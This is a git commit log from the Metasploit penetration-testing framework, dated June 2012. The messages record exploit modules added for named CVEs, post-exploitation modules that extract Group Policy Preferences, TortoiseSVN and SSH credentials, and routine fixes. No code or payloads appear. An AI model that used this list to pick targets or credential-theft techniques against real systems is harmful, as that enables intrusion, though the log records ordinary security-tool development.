HD Moore 1989f0ab46 IE 10/Win8 detection support 2012-06-25 00:36:04 -05:00
HD Moore 348a0b8f6e Merge branch 'master' into feature/vuln-info 2012-06-24 23:00:13 -05:00
HD Moore c28d47dc70 Take into account an integer-normalized datastore 2012-06-24 23:00:02 -05:00
HD Moore e31a09203d Take into account an integer-normalized datastore 2012-06-24 22:59:14 -05:00
Alexandre Maloteaux 2eddfa3444 fix bsd ans solaris platform when using encoder too 2012-06-25 03:12:33 +01:00
Alexandre Maloteaux 15066d7dc5 Generate elf binaries for bsd and solaris too 2012-06-25 02:36:30 +01:00
sinn3r 4d2e74e2ad Need to account for the fact the server may timeout during operation
See the following issue for more info:
http://dev.metasploit.com/redmine/issues/4866
2012-06-24 20:17:51 -05:00
sinn3r 05eaac9085 Fix possible param duplicates 2012-06-24 19:05:42 -05:00
dmaloney-r7 46dd286cc8 Merge pull request #519 from rapid7/gpp-passwords
Gpp passwords
2012-06-24 16:18:34 -07:00
David Maloney 6e19dddf2a Alleviate duplicated work in gpp module 2012-06-24 16:21:35 -05:00
HD Moore 6556eecfda Update project 2012-06-24 14:03:58 -05:00
HD Moore 211b722ec1 Update project 2012-06-24 14:03:57 -05:00
HD Moore c1d143e580 Remove left over debug statements 2012-06-24 14:03:56 -05:00
HD Moore 3c7e87bacf Add missing project files 2012-06-24 14:03:54 -05:00
HD Moore 11b875d84d Checkin new code 2012-06-24 14:03:53 -05:00
HD Moore 2d0d5287d2 Commit EncodePointer stubs as a reference (temporary) 2012-06-24 14:03:52 -05:00
HD Moore 75f1484d63 Respin of binaries to remove debug output 2012-06-24 13:40:27 -05:00
HD Moore 6e61878393 Respin of meterpreter bins (add Win 8 to sysinfo, fix a few bugs) 2012-06-24 13:27:10 -05:00
David Maloney aa09cd7f82 More collaboration stuff on gpp module 2012-06-24 13:08:19 -05:00
h0ng10 65197e79e2 added Exploit for CVE-2008-6508 (Openfire Auth bypass) 2012-06-24 07:35:38 -04:00
sinn3r 54309c3c3d Merge branch 'armitage' of https://github.com/rsmudge/metasploit-framework into rsmudge-armitage 2012-06-24 02:25:38 -05:00
sinn3r e805675c1f Add Apple iTunes 10 Extended M3U Stack Buffer Overflow
New exploit against Apple iTunes. Note that this appears to be
different than liquidworm's CVE-2012-0677, because this one is
a stack-based buffer overflow, while CVE-2012-0677 is heap-based,
and a different crash/backtrace. However, according to Rh0, this
bug is patched anyway in the same update... possibly a silent
patch.

As of now, there seems to be no CVE or OSVDB addressing this
particular bug.
2012-06-24 02:01:34 -05:00
David Maloney eefea8d9d3 Add newname attr in gpp module 2012-06-23 17:51:58 -05:00
David Maloney 7bcb9d1a45 Reintegrated extra options into gpp module
reintegrated meatballs control options into the gpp module
2012-06-23 17:38:07 -05:00
David Maloney b320679d1f Exception message fix for gpp 2012-06-23 12:56:12 -05:00
David Maloney 5497d091fc fix gpp attribution and description 2012-06-23 12:45:56 -05:00
David Maloney 534008b010 Major rework of the gpp module
Took the combination work Meatballs did
on pulling togetehr the three seperate gpp modules.
Cleaned it up and cut it down to a smaller, smoother form.
2012-06-23 12:42:33 -05:00
Raphael Mudge 322e0766a1 Armitage 06.23.12 2012-06-23 13:03:55 -04:00
James Lee 3e974415d9 Give some verbose feedback if connection failed 2012-06-23 00:58:27 -06:00
jvazquez-r7 b891e868f5 Added actionscript and swf needed 2012-06-23 08:36:35 +02:00
sinn3r d7d314862f Need the trigger to actually make it work, duh! 2012-06-22 23:16:12 -05:00
Tod Beardsley d708f2526c Adding ref for APSB12-09 to new Flash sploit 2012-06-22 17:30:52 -05:00
jvazquez-r7 72ef8c91f0 module for CVE-2012-0779 added 2012-06-23 00:21:18 +02:00
Tod Beardsley dfe0e10dc6 Adding kernelsmith's -a datastore opt
Works well enough on its own. Note that you cannot mix -g and -a since
set doesn't actually parse out dash options in a OptParse sort of way.

That said, setg -a seems to work well. This mixing options business
will need to be addressed soon, but that day is not today.

[Closes #514]
2012-06-22 16:01:38 -05:00
m-1-k-3 315a1707e7 also new version v2.07.16 is vulnerable 2012-06-22 13:18:45 +02:00
kernelsmith 1bcf241ec0 adds the -a (append) option to the console 'set' command
if RHOST is currently 192.168.20.1
set -a RHOST 5
appends 5 to RHOST making it 192.168.20.15
2012-06-22 01:23:54 -05:00
HD Moore a648c24b4e Move builds to VC10 2012-06-21 23:51:46 -05:00
HD Moore c5e9e5d374 Add Windows 8 / Server 2012 support to sysinfo 2012-06-21 23:50:29 -05:00
Tod Beardsley 572fb4cb0c Permissions fix 2012-06-21 15:39:17 -05:00
Tod Beardsley 2729f33ff2 Merge Justin's TortoiseSVN module
This adds Justin's TortoiseSVN module with minor edits.

[Closes #508]
2012-06-21 11:56:08 -05:00
Tod Beardsley 504d3d477e Resolve http_proxy_host before reporting, too. 2012-06-21 11:55:13 -05:00
Tod Beardsley c795c2e438 Resolve hosts for tortoisesvn module reporting
report_host() does not expect a DNS name, but an IPv4 or IPv6 address.
In many cases, an SVN password is going to be associated with only a
hostname.

This may be a bug in report_host -- it's certainly inconveninent.
However, we don't usually wnat report_host to be making tons of DNS
lookups when importing hosts, so this forced step is likely intended.

Also, begin/rescue/end blocks that don't hint at what errors are
intended to be caught are rarely a good idea, so this at least informs
the user which exception was raised.
2012-06-21 11:47:37 -05:00
sinn3r 4004b544c0 The condition for "else" doesn't really do anything for us 2012-06-21 02:53:44 -05:00
sinn3r 9d52ecfbb6 Fix a few mistakes (typos & reference) 2012-06-21 02:32:04 -05:00
sinn3r d957c021cb Handle another possible condition
If the path actually doesn't exist on the victim, we may run into
a RequestError. Need to handle that... should be pretty common.
2012-06-21 01:38:51 -05:00
sinn3r 6a386b7a88 Rename the file for naming style consistency 2012-06-21 01:25:55 -05:00
sinn3r 367e75bb06 Multiple changes to file_collector.rb
This module received the following changes:
* Make msftidy happy
* Remove the GETDRIVES option, and make the SEARCH_FROM option
  smarter.
* MSF license
* Other minor changes
2012-06-21 01:21:53 -05:00
sinn3r 327e86e08c Merge branch 'file_collector' of https://github.com/3vi1john/metasploit-framework into 3vi1john-file_collector 2012-06-20 23:46:04 -05:00
Juan Vazquez 4a8e94463a Merge pull request #512 from jvazquez-r7/ezserver_add_reference
ezserver_http: added bid reference
2012-06-20 13:11:55 -07:00
jvazquez-r7 6be7ba98aa ezserver_http: added bid reference 2012-06-20 22:08:58 +02:00
Tod Beardsley 302ab963d1 Adding ref for intersil module 2012-06-20 15:05:56 -05:00
Joe Vennix 328f927829 Updated MDM, specifically the error message on tag name validation. 2012-06-20 13:50:50 -05:00
HD Moore f7ecc98923 Merge branch 'master' into feature/vuln-info 2012-06-20 13:34:53 -05:00
HD Moore 1468a904a7 More error cleanup 2012-06-20 13:34:31 -05:00
Joe Vennix f7f9c23a23 Revert "MDM update."
This reverts commit 1b8d9446c9.
2012-06-20 13:27:49 -05:00
Joe Vennix 1b8d9446c9 MDM update. 2012-06-20 13:12:47 -05:00
sinn3r 5a5166c90b Merge branch 'gather-ssh-cleanup' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-gather-ssh-cleanup 2012-06-20 12:07:23 -05:00
James Lee 60eedc46dd Remove nils before sorting
Fixes a stack trace when one of the directory tests returns nil
2012-06-20 10:44:36 -06:00
sinn3r 61cad28a8c Merge branch 'gather-ssh-cleanup' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-gather-ssh-cleanup 2012-06-20 11:23:51 -05:00
sinn3r beb8e33fc4 Fix a typo 2012-06-20 09:53:09 -05:00
sinn3r efaf5cf193 Oops, I found a typo. 2012-06-19 22:57:45 -05:00
sinn3r 9a9dd53e86 Use get_resource() instead of the hard-coded path 2012-06-19 22:56:25 -05:00
sinn3r 79fc053a2e Merge branch 'module-CVE-2011-2110' of https://github.com/mrmee/metasploit-framework into mrmee-module-CVE-2011-2110 2012-06-19 22:05:07 -05:00
Steven Seeley fcf42d3e7b added adobe flashplayer array indexing exploit (CVE-2011-2110) 2012-06-20 12:52:37 +10:00
HD Moore d40e39b71b Additional exploit fail_with() changes to remove raise calls 2012-06-19 19:43:41 -05:00
HD Moore 664458ec45 No more crap :/ 2012-06-19 19:43:29 -05:00
jvazquez-r7 a93eeca68d msxml_get_definition_code_exec: added support for ie9 2012-06-20 00:17:50 +02:00
Tod Beardsley 3b1c434252 Remove trailing space 2012-06-19 16:44:07 -05:00
James Lee 967026a501 Make ssh_creds store keys as creds
Also cuts some redundant code by using existing Post API methods.
2012-06-19 14:24:32 -06:00
HD Moore 83bf78c63b New failure_reason messages 2012-06-19 13:31:39 -05:00
HD Moore fb7f6b49f0 This mega-diff adds better error classification to existing modules 2012-06-19 12:59:15 -05:00
HD Moore a4c98f9627 Fix title to be consistent 2012-06-19 12:58:42 -05:00
justincmsf b9a2c88733 New Post Module: TortoiseSVN Saved Password Extraction 2012-06-19 09:57:22 -04:00
James Lee 7c417fa977 Add a select command for the various SQL modules 2012-06-18 23:59:57 -06:00
HD Moore d5768080bf Add a fail_message to attempts and fix bugs 2012-06-19 00:48:39 -05:00
HD Moore bf3062aa89 Fix up opts.delete into temp storage for attempt tracking 2012-06-18 20:30:24 -05:00
HD Moore 073205a875 Merge branch 'master' into feature/vuln-info 2012-06-18 20:21:36 -05:00
HD Moore f7a85f3f9d Make it clear that this works on Vista SP2 2012-06-18 20:13:37 -05:00
HD Moore 4739affd54 Fix the comment as well 2012-06-18 19:57:56 -05:00
HD Moore bd0fd8195d Add compatibility for Vista SP2 from troulouliou 2012-06-18 19:55:52 -05:00
sinn3r 4987acc703 Correct e-mail format, description, and some commas. 2012-06-18 18:52:26 -05:00
sinn3r 4a537675b5 Merge branch 'sempervictus-dns_enum_over_tcp' 2012-06-18 18:38:21 -05:00
sinn3r c0bf362084 Fix the fix for enum_dns 2012-06-18 18:37:56 -05:00
sinn3r 91fa163380 Merge branch 'test-cmd-payloads' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-test-cmd-payloads 2012-06-18 18:34:47 -05:00
sinn3r af8cb03d1b Merge branch 'distcc-add-check' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-distcc-add-check 2012-06-18 18:33:21 -05:00
HD Moore e7688e1dba Merge branch 'master' into feature/vuln-info 2012-06-18 18:15:20 -05:00
HD Moore 29887272a9 Correct the description to mention IE8 on Windows 7 2012-06-18 18:14:59 -05:00
HD Moore ffdcea6a0a Permissions, ignore 2012-06-18 18:12:51 -05:00
James Lee 2b8024d538 Add a simple module for testing cmd payloads 2012-06-18 16:51:40 -06:00
Juan Vazquez ba343be152 Merge pull request #505 from jvazquez-r7/ezserver_ready
minor fixes to ezserver_http.rb
2012-06-18 13:46:11 -07:00
jvazquez-r7 2df237b066 minor fixes 2012-06-18 22:44:17 +02:00
Juan Vazquez 10bd72f3a1 Merge pull request #500 from modpr0be/module-ezserver
added ezserver <=6.4.017 bof for winxp sp3
2012-06-18 13:42:35 -07:00
James Lee 96c16a498a Add a check for distcc_exec
Just executes the exploit with an "echo <random>" payload to see if it
works.
2012-06-18 14:34:02 -06:00
modpr0be faa5c0ae0e deleted the module from root msf path 2012-06-19 02:10:54 +07:00
modpr0be d706199a83 fix all changes suggested by jvazquez-r7 2012-06-19 02:05:25 +07:00
Rob Fuller 77022d10da Added a bit of verbosity to SMB capture module to enhance logging and post exploitation 2012-06-18 15:55:40 -03:00
HD Moore 5b5f3d0cf6 Merge over MDM 2012-06-18 13:35:27 -05:00
sinn3r 10b733edf9 Merge branch 'dns_enum_over_tcp' of https://github.com/sempervictus/metasploit-framework into sempervictus-dns_enum_over_tcp 2012-06-18 12:14:04 -05:00
Tim Rottmann 5afdc2341b corrected a typo, "from from" to "from" 2012-06-18 19:34:18 +03:00
sinn3r 256290c206 Additional changes 2012-06-18 10:49:16 -05:00
sinn3r 50269c910a Add IE 8 targets 2012-06-18 10:44:52 -05:00
modpr0be 7b8275de04 added ezserver <=6.4.017 bof for winxp sp3 2012-06-18 22:39:59 +07:00
RageLtMan c68476cce2 Add DNS/TCP to enum_dns 2012-06-18 10:47:03 -04:00
RageLtMan 909614569a Revert "Banner encoding fix when running against dd-wrt on ruby 1.9.3"
This reverts commit 89d5af7ab2.

Telnet banner parsing restored
2012-06-18 10:44:06 -04:00
Samuel Huckins 68496d364a MDM update for report model validation 2012-06-18 08:57:32 -05:00
sinn3r aa8f687690 Merge branch 'msfvenom-is-slow' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-msfvenom-is-slow 2012-06-18 02:35:41 -05:00
HD Moore dd476f8c5d Merge branch 'master' into feature/vuln-info 2012-06-18 01:32:49 -05:00
HD Moore 0d8a4cefbf Permissions, ignore 2012-06-18 01:32:40 -05:00
HD Moore 0696748914 Import exploit attempts 2012-06-18 01:27:50 -05:00
James Lee 8874fd6c29 Don't load the framework just to print help
Makes "msfvenom -h" instant instead of going through all the overhead of
require'ing the entire framework and Rex. The only thing that used it
before was listing the output formats, so a new option, --help-formats,
has been added to provide the same information (with the associated
overhead).
2012-06-18 00:20:07 -06:00
HD Moore d674ba103d Export exploit_attempts & module_details, fix mixin load 2012-06-18 01:13:57 -05:00
HD Moore c388cba421 Fix up modules calling report_vuln() to use new syntax 2012-06-17 23:39:20 -05:00
HD Moore e8ad66b799 Exploit attempt tracking is mostly complete 2012-06-17 23:00:21 -05:00
HD Moore a8f7ea901a Fix cache counters for vuln_attempts, tweak nexpose 2012-06-17 21:55:11 -05:00
HD Moore a892fce320 Indent only subsequent list items 2012-06-17 20:55:19 -05:00
HD Moore 9ceba4421a Bullet formatting rendered poorly, remove these and keep indents 2012-06-17 20:49:22 -05:00
HD Moore 39a77024e2 Parse solutions/descriptions into a slightly less ugly format 2012-06-17 19:27:25 -05:00
sinn3r 5e3cf86794 Merge branch 'intersil_dos' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-intersil_dos 2012-06-17 18:22:22 -05:00
HD Moore fe34293ab4 Merge pull request #495 from graingert/patch-2
Print out successful mysql connection URI
2012-06-17 11:59:35 -07:00
Thomas Grainger 78876b74dd Maintain scanner module standard 2012-06-17 20:09:01 +02:00
HD Moore d7d4d13076 Store platform as a shortname, tweaks to vulns_refs to fix validation 2012-06-17 12:27:58 -05:00
HD Moore 8709473e72 Add fullname to modules, load mixins, fix platform 2012-06-17 11:57:33 -05:00
HD Moore 642f2bf552 MDM update 2012-06-17 11:44:04 -05:00
Thomas Grainger 74cbca5809 Print out successful mysql connection URI 2012-06-17 13:19:53 +02:00
HD Moore 999f7d7174 One more round of tweaks and finally back and running 2012-06-17 02:06:52 -05:00
HD Moore 37531d4486 Fix typo in table name 2012-06-17 02:01:23 -05:00
HD Moore 980327dddf Fix typo, redo add(), account for it in the loader 2012-06-17 01:59:19 -05:00
HD Moore b4b1a4168e Add missing module_detail_id's and references 2012-06-17 01:44:32 -05:00
HD Moore 38ad7230d2 Fix up a typo 2012-06-17 01:35:39 -05:00
HD Moore e4fffc36de Move to one to many instead of m2m for module_detail tracking 2012-06-17 01:21:38 -05:00
HD Moore 780b8ee48b Remove the vulns_refs destroy, this causes issues
when the join table has no .id
2012-06-17 00:12:10 -05:00
HD Moore be9b7a88fb Complicate the matching process in the name of memory
and loading speed. Use optional match_details param
to find matching vuln instances.
2012-06-17 00:07:00 -05:00
HD Moore 7d9d6f11e5 Comitting a copy of the "old" mode of loading,
still hoping to avoid having to do this due to
memory bloat and slowness.
2012-06-16 22:42:31 -05:00
sinn3r e72303a922 Add Intersil HTTP Basic auth pass reset (originally #453)
The modified version of pull request #453. This addresses a couple
of things including:
* Change the description to better explain what the vulnerability is.
  The advisory focuses the problem as an auth bypass, not DoS,
  although it can end up dosing the server.
* The title and filename are changed as a result of matching that
  advisory's description.
* Use 'TARGETURI' option instead of 'URI'.
* The reset attempt needs to check if the directory actually has
  401 in place, otherwise this may result a false-positive.
* The last HTTP request needs to check a possible nil return value.
* More verbose outputs.
2012-06-16 21:14:57 -05:00
HD Moore 52150b0e89 Merge branch 'master' into feature/vuln-info 2012-06-16 15:43:52 -05:00
HD Moore 8522d838dd Permissions, ignore 2012-06-16 15:43:45 -05:00
HD Moore 6dd8fd2e05 Move the cache rebuild into a background job 2012-06-16 15:41:37 -05:00
sinn3r 931f24b380 Merge branch 'php_apache_request_headers_bof' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-php_apache_request_headers_bof 2012-06-16 14:56:45 -05:00
sinn3r d0e490feaa Merge branch 'module-ms-outlook-post-update' of https://github.com/justincmsf/metasploit-framework into justincmsf-module-ms-outlook-post-update 2012-06-16 14:56:14 -05:00
HD Moore 8425c8438d Switch to a MDM/SQL-based module cache 2012-06-16 14:51:09 -05:00
3vi1john cb1144c4ec Added Revised windows file collector and loot module 2012-06-16 11:14:08 -04:00
jvazquez-r7 a8a4594cd4 Documenting esi alignment plus using target_uri.to_s 2012-06-16 09:26:22 +02:00
James Lee 7eebc671ba Put the curly braces back and drop a comma
The curly braces make extra commas at the end ok in 1.8. So fe39642e
broke this module for 1.8. Having braces doesn't hurt anything and
protects against syntax errors if a module author is not dilligent with
their commas, especially after copy-pasting another module.
2012-06-16 01:17:33 -06:00
sinn3r 424948a358 Fix title 2012-06-16 01:48:00 -05:00
sinn3r 38926fb97c Description and name change 2012-06-15 20:11:34 -05:00
jvazquez-r7 c676708564 BrowserAutopwn info completed 2012-06-16 02:26:33 +02:00
jvazquez-r7 ce241b7e80 BrowserAutopwn info completed 2012-06-16 02:18:01 +02:00
jvazquez-r7 495ed2e434 BrowserAutopwn info added 2012-06-16 02:14:24 +02:00
jvazquez-r7 8a89968a1d Added module for CVE-2012-1889 2012-06-16 01:50:25 +02:00
Tod Beardsley 7bb3679fef Errors are different from mere failures (enum_dns)
This makes a clear distinction between errors and failures when
performing zone transfers, and logs accordingly.

[See #483]
2012-06-15 18:11:25 -05:00
David Maloney 122b34c703 fix missing bock transitions
the block objects weren't being transitioned over from the class
methods properly, so the callback blocks were never getting processed.
2012-06-15 14:25:47 -05:00
justincmsf 5e19918020 Updated MS Outlook post module 2012-06-15 15:06:18 -04:00
Tod Beardsley fe39642e27 Dropping extra curly braces on f5 module
Also dropping extra whitespace.
2012-06-15 12:23:34 -05:00
HD Moore fbafea48c6 Merge branch 'master' into feature/vuln-info 2012-06-15 10:56:01 -05:00
HD Moore 5006db7550 The cert module now defaults SSL to true (didnt make sense) 2012-06-15 10:55:53 -05:00
HD Moore b55f233f16 The cert module now defaults SSL to true (didnt make sense) 2012-06-15 10:55:07 -05:00
Tod Beardsley 5a49ac50f1 Shorten option description on enum_dns 2012-06-15 10:33:49 -05:00
Steve Tornio 80a0b4767a add osvdb ref 2012-06-15 09:02:31 -05:00
jvazquez-r7 1d121071f3 Prepend nops to raw payload in encoder if needed 2012-06-15 09:59:10 +02:00
sinn3r 72c674cd3f Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-06-14 21:49:46 -05:00
sinn3r 80d46580ec One last minor change for metadata format 2012-06-14 21:48:24 -05:00
sinn3r 82799f2601 Some final touchup
This commit includes the following changes:
* Description change
* Additional references
* More testing
* Format change
* Other minor stuff
2012-06-14 21:46:38 -05:00
sinn3r 75a67d7160 Merge branch 'module-tfm_mmplayer' of https://github.com/bcoles/metasploit-framework into bcoles-module-tfm_mmplayer 2012-06-14 21:14:29 -05:00
jvazquez-r7 091b3bbbd9 Added module plus encoder for CVE-2012-2329 2012-06-15 00:29:52 +02:00
HD Moore 8177783681 Merge branch 'master' into feature/vuln-info 2012-06-14 16:21:51 -05:00
HD Moore e2c1657eb4 Adds a block callback to work with the replicant
module instance prior to it being launched.
2012-06-14 16:21:06 -05:00
sinn3r fb67fe9161 Merge branch 'mrmee-cmdsnd_ftp_exploit' 2012-06-14 14:19:56 -05:00
sinn3r cde3c48765 Change title 2012-06-14 14:18:30 -05:00
sinn3r b107025860 Correct typo. Also make use of random junks. 2012-06-14 14:17:57 -05:00
sinn3r 8e06babbba Make msftidy happy 2012-06-14 14:16:07 -05:00
sinn3r 66e92d0200 Merge branch 'cmdsnd_ftp_exploit' of https://github.com/mrmee/metasploit-framework into mrmee-cmdsnd_ftp_exploit 2012-06-14 12:17:29 -05:00
HD Moore e59b33fc76 Incorporate egypt's feedback 2012-06-14 10:43:09 -05:00
sinn3r c1685c44c3 Fix disclosure date 2012-06-14 10:03:49 -05:00
sinn3r 1cdf964719 A little change to the description 2012-06-14 10:03:15 -05:00
sinn3r abe50682dd Merge branch 'lattice_pac' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-lattice_pac 2012-06-14 09:59:43 -05:00
sinn3r 48ee81de29 Add CVE-2012-2915 2012-06-14 09:56:01 -05:00
Tod Beardsley f3545cea51 Merge Egypt's deprecation warnings
Closes #485
2012-06-14 09:55:40 -05:00
Tod Beardsley bffb3571c2 Adding URL ref for db_autopwn deprecation message 2012-06-14 09:53:59 -05:00
James Lee 2683bb0ba7 Add deprecation warnings for old commands
This should hopefully cut down a bit on support requests from people
asking about old commands  they read about in _Metasploit: The
Penetration Tester's Guide_
2012-06-14 09:44:38 -05:00
HD Moore 03b29fff68 Merge up the latest, does not automaticlly load
the module tree into the database right now.
2012-06-14 04:35:43 -05:00
HD Moore a6070f8584 Tweak schema (type gets mangled by AR), add caching routine 2012-06-14 03:27:36 -05:00
HD Moore 1401ec0b19 Keep ID columns for record mgmt 2012-06-14 01:50:08 -05:00
HD Moore cc56f43532 Merge in new MDM with corrected relationships 2012-06-14 00:24:21 -05:00
HD Moore 80db388354 Fix up the schema relationships 2012-06-14 00:23:23 -05:00
Thao Doan bf45de1e6a Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2012-06-13 22:19:18 -05:00
HD Moore 2aa9de7f63 Fix the boolean definition 2012-06-13 22:16:59 -05:00
HD Moore 1bdd8dc533 Fix the constant 2012-06-13 22:15:58 -05:00
HD Moore d48a99146f Add the migration for new module_details tables 2012-06-13 22:07:56 -05:00
Thao Doan 4055a2250e updated msf user guide
replaced old 3.4 version
2012-06-13 22:06:00 -05:00
HD Moore 65686824e0 Merge in the MDM with module tables 2012-06-13 21:59:55 -05:00
bcoles 940f904dee Changed date format to new DisclosureDate format. Removed two redundant spaces. Now passes msftidy. 2012-06-14 12:10:03 +09:30
HD Moore 554defa9c0 Merge MDM changes to fix the vuln refs relationship 2012-06-13 20:43:30 -05:00
Steven Seeley a5fca47f56 updated windows XP SP3 pivot offset, please retest this 2012-06-14 10:31:17 +10:00
sinn3r 5269776f3d Merge branch 'redmine/6983' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-redmine/6983 2012-06-13 17:26:54 -05:00
James Lee ef84ce68e4 Fixes a module that used Wmap stuff without including it
[FIXRM #6983]
2012-06-13 15:58:54 -06:00
HD Moore 8f448c9159 Merge MDM 2012-06-13 14:06:12 -07:00
HD Moore 9351e3ab25 MDM update to support fusion import 2012-06-13 14:02:40 -07:00
sinn3r 45eb531c23 Add Jun as an author for the initial discovery 2012-06-13 15:50:45 -05:00
sinn3r 7dc19bba16 Merge branch 'cmdsnd_ftp_exploit' of https://github.com/mrmee/metasploit-framework into mrmee-cmdsnd_ftp_exploit 2012-06-13 14:55:44 -05:00
David Maloney 08cbd87541 Default mime-types to octet-stream 2012-06-13 14:48:58 -05:00
Tod Beardsley e06ee6c0e9 Language on Skype enum module 2012-06-13 14:33:54 -05:00
Tod Beardsley 15b674dab3 Language on MS12-005 2012-06-13 14:22:20 -05:00
Tod Beardsley 99b9261294 Caps in title 2012-06-13 14:19:04 -05:00
Tod Beardsley ae59f03ac9 Fixing print message in snort module 2012-06-13 14:04:05 -05:00
Tod Beardsley a579709bac Cleaning up Modbus scanner 2012-06-13 14:00:07 -05:00
Tod Beardsley 3c73133a44 Fixing up mysql module text 2012-06-13 13:59:58 -05:00
Tod Beardsley 559683f2a1 Fixing CRLFs on winlog_runtime_2 2012-06-13 13:59:39 -05:00
Tod Beardsley 3cf4f7ab44 Fixing indents on msadc module 2012-06-13 13:59:38 -05:00
Tod Beardsley ca8769d725 Whitespace on mysql module. 2012-06-13 13:59:38 -05:00
sinn3r 42ee2b5c02 Add alienvault.com reference 2012-06-13 12:19:51 -05:00
jvazquez-r7 6abb7bb987 Added module for CVE-2012-1875 as exploited in the wild 2012-06-13 18:33:26 +02:00
Steven Seeley 209d6d20d1 comsnd ftp remote format string overflow exploit 2012-06-14 02:22:31 +10:00
James Lee 1138290a64 Return nil when an error occurred
Avoids anti-pattern of testing for a specific class.
2012-06-13 09:41:20 -06:00
HD Moore a2aaca5e85 Correct a fp with this exploit module (would always print success) 2012-06-13 10:38:05 -05:00
sinn3r cde508af03 Merge branch 'jjarmoc-php_cgi_arg_injection' 2012-06-13 00:44:41 -05:00
sinn3r a631e1fef1 Change the default state to make it work on Metasploitable by default 2012-06-13 00:43:59 -05:00
sinn3r 597726d433 Merge branch 'php_cgi_arg_injection' of https://github.com/jjarmoc/metasploit-framework into jjarmoc-php_cgi_arg_injection 2012-06-13 00:40:02 -05:00
bcoles 9756f87517 Added TFM MMPlayer (m3u/ppl File) Buffer Overflow module 2012-06-13 13:50:12 +09:30
Jeff Jarmoc bbfe0f8f49 " is 0x22, duh. 2012-06-12 20:00:28 -05:00
Tod Beardsley 3bfa261e90 Exec bits for some, tiny American flags for others 2012-06-12 16:29:40 -05:00
HD Moore de45630092 Merge branch 'master' into feature/vuln-info 2012-06-12 15:36:16 -05:00
HD Moore 00aa8c0452 Add missing ExploitRank 2012-06-12 15:35:53 -05:00
HD Moore 41ae5e50c1 Merge pull request #479 from jjarmoc/patch-1
Cleanup whitespace
2012-06-12 13:34:14 -07:00
Jeff Jarmoc e820d23f73 Cleanup whitespace 2012-06-12 15:32:50 -05:00
HD Moore 374b5b86f7 Merge branch 'master' into feature/vuln-info 2012-06-12 15:24:50 -05:00
HD Moore 4ea5712140 Add a timeout for wonky systems that hang during negotiation 2012-06-12 15:24:13 -05:00
HD Moore 26e72b4061 Enforce a timeout in the ssh handshake (avoid hangs in some cases) 2012-06-12 15:20:25 -05:00
HD Moore 5922ec1f7a Permissions 2012-06-12 15:20:25 -05:00
HD Moore 7a449bffe2 Permissions 2012-06-12 15:19:41 -05:00
HD Moore f5533c5298 Enforce a timeout in the ssh handshake (avoid hangs in some cases) 2012-06-12 15:19:01 -05:00
HD Moore 53affcb76c Merge pull request #478 from swtornio/f5mod
add osvdb ref
2012-06-12 13:03:06 -07:00
Jeff Jarmoc 12a28bd519 Fixed ruby 1.9 String Indexing issue, using Rex::Text.uri_encode 2012-06-12 14:59:06 -05:00
Steve Tornio 5775fa9e67 add osvdb ref 2012-06-12 14:53:55 -05:00
Tod Beardsley 3756a5031f Adding carrierwave to metasploit's gemcache. 2012-06-12 14:47:50 -05:00
HD Moore cc0f3632a8 Merge pull request #477 from jlee-r7/f5-priv
CVE-2012-1493 F5 known private key exploit module
2012-06-12 12:20:48 -07:00
James Lee a91085d6cd Add a disclosure date and more detailed desc 2012-06-12 13:07:53 -06:00
James Lee 11df90c98e Call update_info
Not sure why all modules don't do this. Or none of them.
2012-06-12 13:01:36 -06:00
James Lee c564e9dcc4 Fix 1.8 compat error
Net::SSH expects +key_data+ to be an array of strings. Giving it just a
string works in 1.9 but not 1.8, presumably due to some errant use of
+each+.
2012-06-12 12:50:46 -06:00
James Lee 539deabef5 Clean up title, options 2012-06-12 12:08:58 -06:00
James Lee 85e1555e13 Payload compat to work with unix/interact 2012-06-12 11:46:21 -06:00
HD Moore 6290bba71b Merge branch 'master' into feature/vuln-info 2012-06-12 12:41:41 -05:00
James Lee 3d5417e574 Initial commit of F5 exploit 2012-06-12 11:37:22 -06:00
HD Moore 21ea539648 Permissions 2012-06-12 11:50:28 -05:00
jvazquez-r7 4ae786590a php_wordpress_foxypress from patrick updated. Related to Pull Request #475 2012-06-12 17:39:05 +02:00
HD Moore 3902ed431e Merge pull request #474 from swtornio/mysql-module
add osvdb ref
2012-06-11 21:10:37 -07:00
Steve Tornio efbaff8b37 add osvdb ref 2012-06-11 22:47:30 -05:00
David Maloney 89e554de2b Adds post module for stealing GPP Passwords
Post module steals Group Policy Preferences account
passwords.
2012-06-11 21:20:18 -05:00
Michael Schierl 34ecc7fd18 Adding @schierlm 's AES encryption for Java
Tested with and without AES, works as advertised. Set an AESPassword,
get encryptification. Score.

Squashed commit of the following:

commit cca6c5c36c
Author: Michael Schierl <schierlm@gmx.de>
Date:   Wed Apr 4 00:45:24 2012 +0200

    Do not break other architectures
    even when using `setg AESPassword`

commit 422d1e341b
Author: Michael Schierl <schierlm@gmx.de>
Date:   Tue Apr 3 21:50:42 2012 +0200

    binaries

commit 27368b5675
Author: Michael Schierl <schierlm@gmx.de>
Date:   Tue Apr 3 21:49:10 2012 +0200

    Add AES support to Java stager

    This is compatible to the AES mode of the JavaPayload project.

    I'm pretty sure the way I did it in the handlers (Rex::Socket::tcp_socket_pair())
    is not the supposed way, but it works :-)
2012-06-11 16:13:25 -05:00
sinn3r c3c9051014 Merge branch 'php_cgi_arg_injection' of https://github.com/jjarmoc/metasploit-framework into jjarmoc-php_cgi_arg_injection 2012-06-11 11:15:15 -05:00
Juan Vazquez 026d84de00 Merge pull request #470 from jvazquez-r7/struts_code_exec_exception_delegator_on_new_session
struts_code_exec_exception_delegator: on_new_session handler modified
2012-06-11 03:08:54 -07:00
jvazquez-r7 02a5dff51f struts_code_exec_exception_delegator_on_new_session: on_new_session modified 2012-06-11 12:07:38 +02:00
Juan Vazquez a43cf76591 Merge pull request #463 from schierlm/struts_arch_java
Add ARCH_JAVA support to struts_code_exec_exception_delegator
2012-06-11 03:05:37 -07:00
sinn3r c5088ad670 Merge branch 'master' into fusionvm-import 2012-06-11 02:16:43 -05:00
HD Moore 59f591ac46 Adds jcran's MySQL bruteforce and dump module for CVE-2012-2122 2012-06-11 01:42:06 -05:00
